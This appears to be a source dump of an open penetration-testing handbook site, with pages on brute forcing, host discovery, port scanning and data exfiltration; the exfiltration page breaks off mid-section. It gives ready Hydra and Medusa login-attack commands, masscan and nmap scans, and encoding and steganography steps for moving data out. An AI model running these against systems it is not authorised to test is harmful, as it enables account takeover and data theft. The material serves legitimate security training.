16 | 17 | These notes serve as a living document 18 | for penetration testing 19 | and offensive security. 20 | They will serve 21 | as a repository of information 22 | from existing papers, 23 | talks, 24 | and other resources 25 | and will be updated 26 | as new information is discovered. 27 | 28 | If you find this useful, 29 | please give it a [star :star:](https://github.com/0xffsec/handbook) 30 | to show your support.\ 31 | Feel free to contact me on Github [@maxrodrigo](https://github.com/maxrodrigo) or email me at [contact@maxrodrigo.com](mailto:contact@maxrodrigo.com) 32 | 33 | ## Contributing 34 | 35 | Contributions are welcome, 36 | and they are greatly appreciated! 37 | Every little bit helps, 38 | and credit will always be given. 39 | 40 | You can contribute in many ways: 41 | 42 | - Submit feedback. 43 | - Update or add pages. 44 | - Report or fix bugs. 45 | - IRL with a coffee or using the [sponsor button](https://github.com/sponsors/maxrodrigo). 46 | 47 | Look through [GitHub Issues](https://github.com/0xffsec/handbook/issues) 48 | or create a PR. 49 | 50 | ## Disclaimer 51 | 52 | Any actions and or activities related to the material contained within this Website are solely your responsibility. The misuse of the information on this website can result in criminal charges brought against the persons in question. 53 | The authors will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law. 54 | -------------------------------------------------------------------------------- /archetypes/default.md: -------------------------------------------------------------------------------- 1 | --- 2 | menu: {{ replace .Name "-" " " | title }} 3 | title: {{ replace .Name "-" " " | title }} 4 | description: 5 | weight: 6 | draft: true 7 | --- 8 | 9 | # {{ replace .Name "-" " " | title }} 10 | 11 | ## At a Glance 12 | -------------------------------------------------------------------------------- /archetypes/services.md: -------------------------------------------------------------------------------- 1 | --- 2 | menu: "{{ replace .Name "-" " " | upper }}" 3 | title: "{{ replace .Name "-" " " | upper }} Service Enumeration" 4 | weight: 5 | --- 6 | # {{ replace .Name "-" " " | upper }} 7 | 8 | ## At a Glance 9 | 10 | {{}} 11 | **Default Port/s** 12 | {{}} 13 | 14 | Service Description 15 | 16 | ## Banner Grabbing 17 | 18 | ## {{ replace .Name "-" " " | upper }} Exploits Search 19 | 20 | Refer to [Exploits Search]({{< ref "exploits-search">}}) 21 | 22 | ## Default Credentials 23 | ## Configuration files 24 | -------------------------------------------------------------------------------- /assets/_custom.scss: -------------------------------------------------------------------------------- 1 | body * { 2 | scrollbar-width: thin; 3 | } 4 | 5 | audio, canvas, iframe, img, svg, video { 6 | vertical-align: middle; 7 | } 8 | 9 | ul#book-search-results{ 10 | li:last-child{ 11 | border-bottom: thin solid var(--gray-500); 12 | padding-bottom: 2rem; 13 | margin-bottom: 1rem; 14 | } 15 | } 16 | 17 | .footnotes{ 18 | color: #343a40; 19 | font-size: $font-size-12; 20 | padding-top: $padding-8; 21 | 22 | ol{ padding-top: $padding-8; } 23 | :target{ 24 | border: thin dotted var(--gray-500); 25 | } 26 | } 27 | 28 | h2.book-brand{ 29 | text-align: center; 30 | 31 | img{ 32 | width: 100px; 33 | height: inherit; 34 | } 35 | 36 | span{ 37 | padding-top: 1rem; 38 | display: block; 39 | } 40 | } 41 | 42 | .markdown { 43 | h2 { 44 | margin-top: 4rem; 45 | } 46 | 47 | ul, ol { 48 | padding: 0; 49 | margin: 1.5rem 0 2rem 1rem; 50 | 51 | li{ 52 | padding-left: 0.5rem; 53 | } 54 | } 55 | } 56 | 57 | .book-note { 58 | display: grid; 59 | grid-template-columns: 4rem auto; 60 | border: 1px solid var(--gray-500); 61 | padding-right: 1rem; 62 | font-size: $font-size-14; 63 | align-items: center; 64 | 65 | .book-note-icon { 66 | fill: #FFE01B; 67 | justify-self: center; 68 | } 69 | } 70 | 71 | .book-highlight { 72 | background-color:var(--gray-100); 73 | border-radius: $border-radius; 74 | padding: 1rem; 75 | font-size: $font-size-14; 76 | } 77 | -------------------------------------------------------------------------------- /assets/_fonts.scss: -------------------------------------------------------------------------------- 1 | body { 2 | font-family: -apple-system,BlinkMacSystemFont,Segoe UI,Helvetica,Arial,sans-serif,Apple Color Emoji,Segoe UI Emoji 3 | } 4 | 5 | code { 6 | font-family: SFMono-Regular,Consolas,Liberation Mono,Menlo,monospace 7 | } 8 | -------------------------------------------------------------------------------- /config.toml: -------------------------------------------------------------------------------- 1 | baseURL = "https://0xffsec.com/handbook" 2 | languageCode = "en-us" 3 | title = "0xffsec Handbook" 4 | theme = "book" 5 | canonifyURLs = true 6 | 7 | googleAnalytics = "G-8XT169B9C6" 8 | enableGitInfo = true 9 | enableEmoji = true 10 | enableRobotsTXT = true 11 | 12 | titleCaseStyle = "Go" 13 | 14 | [markup] 15 | [markup.highlight] 16 | style = "native" 17 | [markup.goldmark] 18 | [markup.goldmark.renderer] 19 | unsafe = true 20 | 21 | [[menu.after]] 22 | name = "GitHub" 23 | url = "https://github.com/0xffsec/handbook" 24 | 25 | [params] 26 | images = ["/handbook/images/banner.png"] 27 | 28 | BookLogo = '/images/logo.png' 29 | BookRepo = "https://github.com/0xffsec/handbook" 30 | BookEditPath = 'edit/master/content' 31 | BookSection = '/' 32 | 33 | [params.war] 34 | rhost = "10.0.0.3" 35 | rcidr = "10.0.0.0/24" 36 | rdomain = "example.com" 37 | ldomain = "example.evil" 38 | lhost = "10.0.0.1" 39 | lport = "1234" 40 | liface = "wlan0" 41 | tfile = "filename.ext" 42 | -------------------------------------------------------------------------------- /content/_index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "0xffsec Handbook: The Pentester's Guide" 3 | description: "A Living Reference Book for Web Application Security and Pentest/CTF" 4 | bookToc: false 5 | --- 6 | -------------------------------------------------------------------------------- /content/brute-forcing.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Brute Forcing 3 | weight: 201 4 | --- 5 | 6 | # Brute Forcing 7 | 8 | ## At a Glance 9 | 10 | A brute-forcing attack consists of 11 | systematically enumerating 12 | all possible candidates for the solution 13 | and checking whether each candidate 14 | satisfies the problem's statement. 15 | 16 | In cryptography, 17 | a brute-force attack 18 | involves systematically 19 | checking all possible keys 20 | until the correct key is found. 21 | [^brute-force-wiki] 22 | 23 | {{}} 24 | The success and efficiency of a brute-force attack 25 | rely mostly on the wordlist. 26 | Use a highly-reputed one. 27 | {{}} 28 | 29 | ## Default Credentials 30 | 31 | - [DefaultPassword](https://default-password.info/) 32 | - [CIRT.net Password DB](https://www.cirt.net/passwords) 33 | - [Default Router Passwords List](https://192-168-1-1ip.mobi/default-router-passwords-list/) 34 | 35 | {{}} 36 | [SecLists](https://github.com/danielmiessler/SecLists) and [WordList Compendium](https://github.com/Dormidera/WordList-Compendium) 37 | also include default passwords lists. 38 | {{}} 39 | 40 | ## Wordlists 41 | 42 | - [SecLists - The Pentester's Companion](https://github.com/danielmiessler/SecLists) 43 | - [Probable Wordlists](https://github.com/berzerk0/Probable-Wordlists) 44 | - [WordList Compendium](https://github.com/Dormidera/WordList-Compendium) 45 | - [Jhaddix Content Discovery All](https://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10) 46 | - [Google Fuzzing Forum](https://github.com/google/fuzzing) 47 | - [CrackStation's Password Cracking Dictionary](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm) 48 | 49 | ## Wordlist Generation 50 | 51 | #### CeWL [^cewl] 52 | ```sh 53 | cewl {{< param "war.rdomain" >}} -m 3 -w wordlist.txt 54 | ``` 55 | {{
}} 56 | - `-m `: Minimum word length. 57 | - `-w `: Write the output to ``. 58 | {{
}} 59 | 60 | #### Crunch [^crunch] 61 | 62 | Simple wordlist. 63 | 64 | ```sh 65 | crunch 6 12 abcdefghijk1234567890\@\! -o wordlist.txt 66 | ``` 67 | 68 | String permutation. 69 | 70 | ```sh 71 | crunch 1 1 -p target pass 2019 -o wordlist.txt 72 | ``` 73 | 74 | Patterns. 75 | 76 | ```sh 77 | crunch 9 9 0123456789 -t @target@@ -o wordlist.txt 78 | ``` 79 | 80 | {{
}} 81 | - ``: The minimum string length. 82 | - ``: The maximum string length. 83 | - ``: Characters set. 84 | - `-o `: Specifies the file to write the output to. 85 | - `-p `: Permutation. 86 | - `-t `: 87 | Specifies a pattern, eg: `@@pass@@@@`. 88 | - `@` will insert lower case characters 89 | - `,` will insert upper case characters 90 | - `%` will insert numbers 91 | - `^` will insert symbols 92 | {{
}} 93 | 94 | ## Password Profiling 95 | 96 | #### CUPP [^cupp] 97 | ```sh 98 | cupp -i 99 | ``` 100 | {{
}} 101 | - `-i`: Interactive uestions for user password profiling. 102 | {{
}} 103 | 104 | ## Word Mangling 105 | 106 | #### john [^john] 107 | ```sh 108 | john --wordlist=wordlist.txt --rules --stdout 109 | ``` 110 | {{
}} 111 | - `--wordlist `: Wordlist mode, read words from `` or `stdin`. 112 | - `--rules[:CustomRule]`: Enable word mangling rules. Use default or add `[:CustomRule]`. 113 | - `--stdout`: Output candidate passwords. 114 | {{
}} 115 | 116 | {{}} 117 | Custom rules can be appended 118 | to John's configuration file `john.conf`. 119 | 120 | See: [KoreLogic's Word Mangling Rule](https://gist.github.com/maxrodrigo/b9ec4e4578a9f6968470381214f1a340) 121 | {{}} 122 | 123 | ## Services 124 | 125 | ### FTP 126 | 127 | See [Combo (Colon Separated) Lists](#combo-colon-separated-lists). 128 | 129 | #### Hydra [^hydra] 130 | 131 | ```sh 132 | hydra -v -l ftp -P /usr/share/wordlists/rockyou.txt -f {{< param "war.rhost" >}} ftp 133 | ``` 134 | 135 | {{
}} 136 | - `-v`: verbose mode. 137 | - `-l `: login with `user` name. 138 | - `-P `: login with passwords from file. 139 | - `-f`: exit after the first found user/password pair. 140 | {{
}} 141 | 142 | ### SMB 143 | 144 | #### Hydra [^hydra] 145 | ```sh 146 | hydra -v -t1 -l Administrator -P /usr/share/wordlists/rockyou.txt -f {{< param "war.rhost" >}} smb 147 | ``` 148 | {{
}} 149 | - `-v`: verbose mode. 150 | - `-t `: run `` number of connects in parallel. Default: 16. 151 | - `-l `: login with `user` name. 152 | - `-P `: login with passwords from file. 153 | - `-f`: exit after the first found user/password pair. 154 | {{
}} 155 | 156 | #### [smb-brute](https://nmap.org/nsedoc/scripts/smb-brute.html) NSE Script. 157 | ```sh 158 | sudo nmap --script smb-brute -p U:137,T:139 {{< param "war.rhost" >}} 159 | ``` 160 | 161 | ### SSH 162 | 163 | #### Hydra [^hydra] 164 | ```sh 165 | hydra -v -l ftp -P /usr/share/wordlists/rockyou.txt -f 10.0.0.3 ftp 166 | ``` 167 | 168 | ## Web Applications 169 | 170 | ### HTTP Basic Auth 171 | 172 | ```sh 173 | hydra -L users.txt -P /usr/share/wordlists/rockyou.txt {{< param "war.rdomain" >}} http-head /admin/ 174 | ``` 175 | 176 | ### HTTP Digest 177 | 178 | ```sh 179 | hydra -L users.txt -P /usr/share/wordlists/rockyou.txt {{< param "war.rdomain" >}} http-get /admin/ 180 | ``` 181 | 182 | ### HTTP POST Form 183 | 184 | ```sh 185 | hydra -l admin -P /usr/share/wordlists/rockyou.txt {{< param "war.rdomain" >}} https-post-form "/login.php:username=^USER^&password=^PASS^&login=Login:Not allowed" 186 | ``` 187 | 188 | {{
}} 189 | - `-l `: login with `user` name. 190 | - `-L `: login with users from file. 191 | - `-P `: login with passwords from file. 192 | - `http-head | http-get | http-post-form`: service to attack. 193 | {{
}} 194 | 195 | ### HTTP Authenticated POST Form 196 | 197 | Append the `Cookie` header 198 | with the session id 199 | to the options string, 200 | e.g., 201 | `:H=Cookie\: security=low; PHPSESSID=if0kg4ss785kmov8bqlbusva3v`. 202 | [^hydra] 203 | 204 | ```sh 205 | hydra -l admin -P /usr/share/wordlists/rockyou.txt {{< param "war.rdomain" >}} https-post-form "/login.php:username=^USER^&password=^PASS^&login=Login:Not allowed:H=Cookie\: PHPSESSID=if0kg4ss785kmov8bqlbusva3v" 206 | ``` 207 | 208 | ## Miscellaneous 209 | 210 | ### Combo (Colon Separated) Lists 211 | 212 | #### Hydra [^hydra] 213 | 214 | Use a colon separated `login:pass` format, 215 | instead of `-L`/`-P` options. 216 | 217 | ```sh 218 | hydra -v -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt -f {{< param "war.rhost" >}} ftp 219 | ``` 220 | {{
}} 221 | - `-v`: verbose mode. 222 | - `-C `: colon-separated "login:pass" format. 223 | - `-f`: exit after the first found user/password pair. 224 | {{
}} 225 | 226 | #### Medusa [^medusa] 227 | 228 | Medusa's combo files (colon-separated) 229 | should be in the format `host:username:password`. 230 | If any of the three values are missing, 231 | the respective information 232 | should be provided either 233 | as a global value 234 | or as a list in a file. 235 | 236 | ```sh 237 | sed s/^/:/ /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt > /tmp/cplist.txt 238 | medusa -C /tmp/cplist.txt -h {{< param "war.rhost" >}} -M ftp 239 | ``` 240 | 241 | {{
}} 242 | - `-u `: login with `user` name. 243 | - `-P `: login with password from file. 244 | - `-h`: target hostname or IP address. 245 | - `-M`: module to execute. 246 | {{
}} 247 | 248 | ## Further Reading 249 | 250 | - [Making a Faster Cryptanalytic Time-Memory Trade-Off](https://lasecwww.epfl.ch/pub/lasec/doc/Oech03.pdf) 251 | 252 | 253 | [^brute-force-wiki]: Contributors to Wikimedia projects. “Brute-Force Search - Wikipedia.” Wikipedia, the Free Encyclopedia, Wikimedia Foundation, Inc., 13 Oct. 2002, https://en.wikipedia.org/wiki/Brute-force_search. 254 | [^cewl]: digininja. “GitHub - Digininja/CeWL: CeWL Is a Custom Word List Generator.” GitHub, https://github.com/digininja/CeWL/. 255 | [^cupp]: Mebus. “GitHub - Mebus/Cupp: Common User Passwords Profiler (CUPP).” GitHub, https://github.com/Mebus/cupp. 256 | [^crunch]: “Crunch - Wordlist Generator Download.” SourceForge, https://sourceforge.net/projects/crunch-wordlist/. 257 | [^john]: magnumripper. “JohnTheRipper.” GitHub, https://github.com/magnumripper/JohnTheRipper. 258 | [^hydra]: Heuse, Marc. “GitHub - Vanhauser-Thc/Thc-Hydra: Hydra.” GitHub, https://github.com/vanhauser-thc/thc-hydra. Accessed 12 May 2020. 259 | [^medusa]: “Foofus Networking Services - Medusa.” Foofus.Net | Foofus.Net Advanced Security Services Forum, http://foofus.net/goons/jmk/medusa/medusa.html. 260 | [^testing-bf-owasp]: “Testing for Brute Force (OWASP-AT-004).” OWASP, https://wiki.owasp.org/index.php/Testing_for_Brute_Force_(OWASP-AT-004). 261 | -------------------------------------------------------------------------------- /content/bug-hunting-methodology.md: -------------------------------------------------------------------------------- 1 | --- 2 | menu: Bug Hunting Methodology 3 | title: The Complete Bug Bounty Hunting Methodology and Enumeration 4 | description: "The bug bounty hunter methodology: tools, tips and tricks." 5 | weight: 30 6 | draft: true 7 | --- 8 | 9 | # The Bug Bounty Hunting Methodology 10 | 11 | ## At a Glance 12 | 13 | ## [Assets Discovery]({{< ref "assets-discovery" >}}) 14 | - [Acquisitions]({{< ref "assets-discovery#acquisitions" >}}) 15 | - [ASN Enumeration]({{< ref "assets-discovery#asn-enumeration" >}}) 16 | - [Reverse Whois]({{< ref "assets-discovery#reverse-whois" >}}) 17 | - [Tracking Codes]({{< ref "assets-discovery#tracking-codes" >}}) 18 | - [Google Dorking]({{< ref "assets-discovery#google-dorking" >}}) 19 | - [Shodan]({{< ref "assets-discovery#shodan" >}}) 20 | 21 | ## [Subdomain Enumeration]({{< ref "subdomain-enumeration" >}}) 22 | 23 | ### Passive Subdomain Enumeration 24 | 25 | - [Certificate Transparency]({{< ref "subdomain-enumeration#certificate-transparency" >}}) 26 | - [Google Dorking]({{< ref "subdomain-enumeration#google-dorking" >}}) 27 | - [DNS Aggregators]({{< ref "subdomain-enumeration#dns-aggregators" >}}) 28 | - [ASN Enumeration]({{< ref "subdomain-enumeration#asn-enumeration" >}}) 29 | - [Subject Alternate Name (SAN)]({{< ref "subdomain-enumeration#subject-alternate-name-san" >}}) 30 | - [Rapid7 Forward DNS dataset]({{< ref "subdomain-enumeration#rapid7-forward-dns-dataset" >}}) 31 | 32 | ### Active Subdomain Enumeration 33 | 34 | - [Brute Force Enumeration]({{< ref "subdomain-enumeration#brute-force-enumeration" >}}) 35 | - [DNS]({{< ref "subdomain-enumeration#dns" >}}) 36 | - [Content Security Policy (CSP) Header]({{< ref "subdomain-enumeration#content-security-policy-csp-header" >}}) 37 | 38 | ## Further Reading 39 | 40 | - [OWASP Web Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide/stable/) 41 | - [The Bug Hunter's Methodology Full 2-hour Training by Jason Haddix](https://www.youtube.com/watch?v=uKWu6yhnhbQ) 42 | - [Awesome Bugbounty Writeups](https://github.com/devanshbatham/Awesome-Bugbounty-Writeups) 43 | - [Researcher Tips and Tricks Youtube Playlist](https://www.youtube.com/playlist?list=PLIK9nm3mu-S4SuIUZ6LKh98QGT4fz59Sj) 44 | -------------------------------------------------------------------------------- /content/discovery-and-scanning/_index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "Discovery and Scanning" 3 | weight: 101 4 | bookCollapseSection: true 5 | --- 6 | -------------------------------------------------------------------------------- /content/discovery-and-scanning/host-discovery.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "Host Discovery" 3 | weight: 102 4 | --- 5 | # Host Discovery 6 | 7 | ## At a Glance 8 | 9 | One of the first steps 10 | during the network enumeration 11 | is to reduce a set of IPs 12 | into a list of active or interesting hosts. 13 | Depending on if you are inside the network 14 | or scanning remotely, 15 | how much noise you can make, 16 | and your discovery requirements, 17 | different tools, 18 | and options are available. 19 | 20 | ## Internal 21 | 22 | ### Passive 23 | 24 | Passive discovery relies on 25 | monitoring network layer traffic 26 | to detect network topology, 27 | services, 28 | and applications. 29 | 30 | As no packets are injected into the network, 31 | there is no risk of unintentional service disruption. 32 | It is also suitable for 33 | finding intermittently offered 34 | or protected services 35 | often missed by active scanning. 36 | [^net-scanning-detection-strategies] 37 | 38 | #### netdiscover - ARP [^netdiscover] 39 | 40 | ```sh 41 | sudo netdiscover -p 42 | ``` 43 | - `-p`: passive mode. It does not send anything, but **does only sniff**. 44 | 45 | #### p0f - Fingerprinting [^p0f] 46 | 47 | ```sh 48 | sudo p0f -p 49 | ``` 50 | - `-p`: promiscuous mode; by default, it listens only to packet addressed or routed through. 51 | **On IP-enabled interfaces can be detected remotely**. 52 | 53 | #### bettercap [^bettercap-recon] 54 | ```txt 55 | net.recon on 56 | net.show.meta true 57 | net.show 58 | ``` 59 | 60 | ### Active 61 | 62 | In contrast, 63 | active discovery does inject 64 | a variety of packets into the network. 65 | 66 | It is well suited for open port discovery 67 | and fingerprinting. 68 | However, 69 | these techniques are not without drawbacks. 70 | Scans can be invasive, 71 | generate too much noise, 72 | and in some cases, 73 | cause service interruptions 74 | due to the type of packets sent. 75 | 76 | #### netdiscover - ARP [^netdiscover] 77 | 78 | ```sh 79 | sudo netdiscover -r {{< param "war.rcidr" >}} 80 | ``` 81 | 82 | - `-r `: scan a given range instead of auto scan. 83 | 84 | #### Nmap 85 | 86 | 87 | ```sh 88 | nmap -sn {{< param "war.rcidr" >}} 89 | ``` 90 | 91 | - `-sn`: No port scan AKA **ping scan**. [^nmap-host-discovery] 92 | Consists of an ICMP echo request, TCP SYN to port 443, TCP ACK to port 80, and an ICMP timestamp request by default. 93 | 94 | #### nbtscan - NetBIOS [^nbtscan] 95 | 96 | ```sh 97 | sudo nbtscan {{< param "war.rcidr" >}} 98 | ``` 99 | 100 | #### bettercap [^bettercap-probe] 101 | ```sh 102 | net.probe on 103 | net.show.meta true 104 | net.show 105 | ``` 106 | 107 | ### ICMP 108 | Refer to [External ICMP Scanning]({{< ref "#icmp-1" >}}) 109 | 110 | ## External 111 | 112 | ### ICMP 113 | 114 | As defined in [RFC 792](https://tools.ietf.org/html/rfc792), ICMP messages are typically used for diagnostic or control purposes or generated in response to errors in IP operations (as specified in [RFC 1122](https://tools.ietf.org/html/rfc1122)).[^data-communications-and-networking] 115 | Although it is possible to use ICMP requests to discover if a host is up or not, it is common to find all these packets being filtered, making it an unreliable method. 116 | 117 | #### ping 118 | 119 | ```sh 120 | ping -c 1 {{< param "war.rhost" >}} 121 | ``` 122 | - `-c `: stops after `count` replies. 123 | 124 | #### fping [^fping] 125 | 126 | ```sh 127 | fping -g {{< param "war.rcidr" >}} 128 | ``` 129 | - `-g, --generate `: generates target list. `target` can be start and end IP or a CIDR address. 130 | 131 | #### Nmap 132 | 133 | ```sh 134 | nmap -PEPM -sn -n {{< param "war.rcidr" >}} 135 | ``` 136 | {{
}} 137 | - `-PE; -PP; -PM`: ICMP echo, timestamp, and netmask request discovery probes. 138 | - `-sn`: No port scan. 139 | - `-n`: No DNS resolution. 140 | {{
}} 141 | 142 | ### Port Discovery 143 | 144 | Another commonly used technique is port scanning. It allows you to identify running services, consequently, interesting hosts. 145 | See [Port Scanning]({{< ref "port-scanning.md" >}}). 146 | 147 | [^nmap-host-discovery]: “Host Discovery | Nmap Network Scanning.” Nmap: The Network Mapper - Free Security Scanner, https://nmap.org/book/man-host-discovery.html. 148 | [^data-communications-and-networking]: Forouzan, Behrouz A. Data Communications and Networking. Huga Media, 2007, pp. 621–630. 149 | [^net-scanning-detection-strategies]: Whyte, David. Network Scanning Detection Strategies for Enterprise Networks. Sept. 2008, pp. 12-22 https://pdfs.semanticscholar.org/bb60/dc6cf24ea1f17126511e0998d3c55bdd50f9.pdf. 150 | [^netdiscover]: “GitHub - Netdiscover-Scanner/Netdiscover: Netdiscover, ARP Scanner (Official Repository).” GitHub, https://github.com/netdiscover-scanner/netdiscover. 151 | [^p0f]: Zalewski, Michal. “P0f V3.” [Lcamtuf.Coredump.Cx], https://lcamtuf.coredump.cx/p0f3/. 152 | [^nbtscan]: “NETBIOS Nameserver Scanner.” Steve Friedl’s Home Page, http://www.unixwiz.net/tools/nbtscan.html. 153 | [^fping]: Schweikert, David. “Fping.” Fping Homepage, https://fping.org/. 154 | [^bettercap-recon]: “Bettercap:: Net.Recon.” Bettercap, https://www.bettercap.org/modules/ethernet/net.recon/. 155 | [^bettercap-probe]: “Bettercap:: Net.Probe.” Bettercap, https://www.bettercap.org/modules/ethernet/net.probe/. 156 | -------------------------------------------------------------------------------- /content/discovery-and-scanning/port-scanning.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "Port Scanning" 3 | weight: 103 4 | --- 5 | # Port Scanning 6 | 7 | ## At a Glance 8 | 9 | Port scanning helps you 10 | gather additional information about the target 11 | by interacting with it. 12 | It will give you 13 | a better understanding of 14 | how different systems interact with each other 15 | and host-specific details 16 | such as operating systems and available services. 17 | 18 | ## Port Scanners 19 | 20 | Port scanners can be classified as 21 | **synchronous** and **asynchronous**. 22 | 23 | Synchronous or connection-oriented scanners, 24 | like [Nmap](https://nmap.org/), 25 | wait for the host response 26 | to determine if the port is alive. 27 | On the other hand, 28 | asynchronous or connectionless scanners, 29 | like [scanrad](http://www.vulnerabilityassessment.co.uk/scanrand.htm), 30 | [zmap](https://github.com/zmap/zmap), 31 | or [masscan](https://github.com/robertdavidgraham/masscan), 32 | do not wait for a host response 33 | as they create separate threads for each port. 34 | 35 | Synchronous scanners tend to be slower, 36 | especially on large network ranges, 37 | but accurate for port discovery. 38 | While asynchronous scanners are faster 39 | but less accurate 40 | since they cannot detect dropped packets. 41 | [^captmeelo-benchmark] 42 | 43 | ## Methodology 44 | 45 | 1. Network Tracing - Infer the network topology. 46 | 1. [Network Sweep](#network-sweep) - Obtain a list of potential targets. 47 | 1. Thorough [Hosts Scan](#host-scan) - Enumerate OSs and services on the targets. 48 | 1. Vulnerability scans - Enumerate vulnerabilities on the targets' services. 49 | 50 | ## Network Sweep 51 | 52 | ### masscan [^masscan] 53 | 54 | ```sh 55 | sudo masscan -p 7,9,13,21-23,25-26,37,53,79-81,88,106,110-111,113,119,135,139,143-144,179,199,389,427,443-445,465,513-515,543-544,548,554,587,631,646,873,990,993,995,1025-1029,1110,1433,1720,1723,1755,1900,2000-2001,2049,2121,2717,3000,3128,3306,3389,3986,4899,5000,5009,5051,5060,5101,5190,5357,5432,5631,5666,5800,5900,6000-6001,6646,7070,8000,8008-8009,8080-8081,8443,8888,9100,9999-10000,32768,49152-49157 --rate 50000 --wait 0 --open-only -oG masscan.gnmap {{< param "war.rcidr" >}} 56 | ``` 57 | 58 | {{
}} 59 | - `-p `: port(s) to be scanned. 60 | - `--rate `: rate for transmitting packets (packet per seconds). 61 | - `--wait `: seconds after transmit is done to wait for receiving packets before exiting. Default 10 seconds. 62 | - `--open-only`: report only open ports. 63 | - `-oG `: output scan in grepable format to the given filename. 64 | {{
}} 65 | 66 | ## Host Scan 67 | 68 | ### TCP Scan 69 | 70 | This is a good all-purpose initial scan. Scans the most common 1000 ports with service information (`-sV`), default scripts (`-sC`), and OS detection. 71 | 72 | {{}} 73 | Verbose mode (`-v`) not only provides the estimated time for each host, but, it also prints the results as it goes letting you continue with the reconnaissance while scanning. 74 | {{}} 75 | 76 | ```sh 77 | sudo nmap -v -sV -sC -O -T4 -n -Pn -oA nmap_scan {{< param "war.rhost" >}} 78 | ``` 79 | 80 | Similar scan but scans all ports, from 1 through 65535. 81 | 82 | ```sh 83 | sudo nmap -v -sV -sC -O -T4 -n -Pn -p- -oA nmap_fullscan {{< param "war.rhost" >}} 84 | ``` 85 | 86 | ### UDP Scan 87 | 88 | During a UDP scan (`-Su`) `-sV` will send protocol-specific probes, also known as _nmap-service-probes_, to every `open|filtered` port. In case of response the state change to `open`. [^nmap-udp] 89 | 90 | ```sh 91 | sudo nmap -sU -sV --version-intensity 0 -n {{< param "war.rcidr" >}} 92 | ``` 93 | 94 | ### Enumeration Scan 95 | 96 | In addition to the default scripts that run with `-sC` or `--script=default`, NSE (Nmap Scripting Engine), provides [multiple types and categories](https://nmap.org/book/nse-usage.html#nse-script-selection) to select from. 97 | 98 | It is a common practice to combine the list of ports resulting from a network sweep or a fast nmap scan like: 99 | 100 | ```sh 101 | nmap -T4 -Pn -n {{< param "war.rhost" >}} 102 | ``` 103 | with a more extensive scan against those ports. 104 | 105 | ```sh 106 | sudo nmap -v -sV -O --script="safe and vuln" -T4 -n -Pn -p135,445 -oA nmap_scan {{< param "war.rhost" >}} 107 | ``` 108 | 109 | The `--script` parameter is extremely flexible and full features, refer to the [documentation](https://nmap.org/book/nse.html) for more about NSE. 110 | 111 | {{}} 112 | Never run scripts from third parties unless you trust the authors or have carefully audited the scripts yourself. 113 | {{}} 114 | 115 | {{
}} 116 | - `-v`: verbose mode. 117 | - `-sU`: UDP scan. 118 | - `-sV`: determine service/version info. 119 | - `-sC`: performs a script scan. 120 | - `-O`: enable OS detection. 121 | - `-p `: scan specific ports. 122 | - `--open`: only show open ports. 123 | - `-Pn`: no ping. 124 | - `-n`: no DNS resolution. 125 | - `-T<0-5>`: timing template. 126 | - `oX `: output scan in XML format to the given filename. 127 | - `--version-intensity 0`: try only the probes most likely to be effective. 128 | {{
}} 129 | 130 | ## Miscellaneous 131 | 132 | ### List all Nmap scripts categories 133 | 134 | ```sh 135 | grep -r categories /usr/share/nmap/scripts/*.nse | grep -oP '".*?"' | sort -u 136 | ``` 137 | 138 | ### List Nmap scripts for a specific category 139 | 140 | List scripts under the `default` category. 141 | 142 | ```sh 143 | grep -r categories /usr/share/nmap/scripts/*.nse | grep default | cut -d: -f1 144 | ``` 145 | 146 | ## Further Reading 147 | 148 | - [Finding the Balance Between Speed & Accuracy During an Internet-wide Port Scanning](https://captmeelo.com/pentest/2019/07/29/port-scanning.html) 149 | 150 | [^captmeelo-benchmark]: Capt. Meelo. “Finding the Balance Between Speed & Accuracy During an Internet-Wide Port Scanning - Hack.Learn.Share.” Hack.Learn.Share, 29 July 2019, https://captmeelo.com/pentest/2019/07/29/port-scanning.html. 151 | [^highon-portscanning]: “Penetration Testing Tools Cheat Sheet.” HighOn.Coffee • Security Research • Penetration Testing Blog, https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#nmap-commands. 152 | [^nmap-udp]: “UDP Scan (-SU) | Nmap Network Scanning.” Nmap: The Network Mapper - Free Security Scanner, https://nmap.org/book/scan-methods-udp-scan.html. 153 | [^masscan]: Graham, Robert David. “GitHub - Robertdavidgraham/Masscan: TCP Port Scanner.” GitHub, https://github.com/robertdavidgraham/masscan. 154 | -------------------------------------------------------------------------------- /content/exfiltration.md: -------------------------------------------------------------------------------- 1 | --- 2 | menu: Data Exfiltration 3 | title: Data Exfiltration and Protocol Tunneling 4 | weight: 600 5 | --- 6 | 7 | # Exfiltration 8 | 9 | ## At a Glance 10 | 11 | Data exfiltration, 12 | also called data extrusion or data exportation, 13 | is the unauthorized transfer of data 14 | from a device or network.[^mitre-exfiltration] 15 | 16 | ## Encoding 17 | 18 | ### Base64 19 | 20 | Linux encoding/decoding. 21 | 22 | ```sh 23 | cat {{< param "war.tfile" >}} | base64 -w0 24 | ``` 25 | 26 | ```sh 27 | cat {{< param "war.tfile" >}} | base64 -d 28 | ``` 29 | 30 | {{
}} 31 | - `-w`: wrap encoded lines after `` character (default 76). 32 | - `-d`: decode data. 33 | {{
}} 34 | 35 | Windows encoding/decoding. 36 | 37 | ```ps 38 | certutil -encode {{< param "war.tfile" >}} output.ext 39 | ``` 40 | 41 | ```ps 42 | certutil -decode {{< param "war.tfile" >}} output.ext 43 | ``` 44 | 45 | ### Steganography 46 | 47 | #### Cloakify [^cloakify] 48 | ```sh 49 | python ./cloakify.py {{< param "war.tfile" >}} ./ciphers/topWebsites 50 | ``` 51 | 52 | Alternatively: 53 | 54 | ```sh 55 | python ./cloakifyFactory 56 | ``` 57 | 58 | ## File Transfer 59 | 60 | #### wget (recursive) 61 | 62 | ```sh 63 | wget -r {{< param "war.rhost" >}}:{{< param "war.lport" >}} 64 | ``` 65 | {{
}} 66 | - `-r`: Specify recursive download. 67 | {{
